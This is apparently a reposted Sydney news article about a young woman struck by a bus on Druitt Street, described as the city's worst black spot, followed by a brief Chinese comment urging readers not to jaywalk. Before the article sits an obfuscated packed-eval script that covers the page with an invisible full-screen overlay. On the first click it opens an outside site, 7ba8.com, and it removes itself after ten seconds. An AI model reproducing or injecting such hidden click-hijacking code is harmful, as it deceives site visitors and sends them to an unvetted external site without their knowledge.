<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>Druitt Street has been labelled the "blackest black spot in the city" after a young woman yesterday became at least the 11th pedestrian to be struck by a bus there in the past two years.
The incident occurred in the evening rush hour on the corner of Druitt and Sussex streets as the 27-year-old Coogee woman attempted to cross at a set of traffic lights.
Witnesses described hearing a "big, loud bang" and seeing the woman flying into the air after she was hit by a city-bound State Transit bus.
She landed about five metres away. A large dent and a smashed indicator light could be seen on the front side of the bus.
"She was airborne for quite a distance and I saw her roll and tumble," a 35-year-old city worker said.
"It's the fourth person that I've seen hit by a car or a bus in this area. There are very few days I don't see someone nearly get taken out. It's that bad."
The woman was taken by ambulance to St Vincent's Hospital in a stable condition with non-life threatening injuries, a police spokeswoman said.
In a statement released this morning, police said the woman appeared to have stepped off the kerb and into the bus's path as it was slowing down to set down passengers at a bus stop.
The 41-year-old male bus driver immediately stopped the vehicle and rendered assistance to the woman until ambulance officers arrived, police said.
The driver was breath-tested with a negative result.
Inquiries are continuing into the incident and police are urging anyone who witnessed it to contact City Central Police Station on (02) 9265 6499 or Crime Stoppers on 1800 333 000.
At least 10 other pedestrians have been hit by buses in the area since 2005, when Druitt Street was reconfigured as a two-way artery as part of the Cross City Tunnel road changes.
Less than two months ago, plastic barricades were installed along the street to prevent jaywalking after a female pedestrian was killed and another seriously injured in separate accidents involving buses.
The chairman of the City of Sydney's traffic committee, John McInerney, said he was shocked to learn of yet another incident.
"This is the blackest black spot in the city," he said.
The council recently launched a study with the Roads and Traffic Authority to examine how to make the street safer for pedestrians, Cr McInerney said.
"I await with some urgency now the result of the study we've initiated."
Druitt Street 使靠近QVB的一条街，那里已经出了很多车祸，很多横穿马路的人被撞飞了。这次，这个女生还是比较走运，那辆BUS走的很慢，但是她还是飞出去5米，大家在CITY的时候千万不要JOYWALKING啊。。。出门在外，小心安全！
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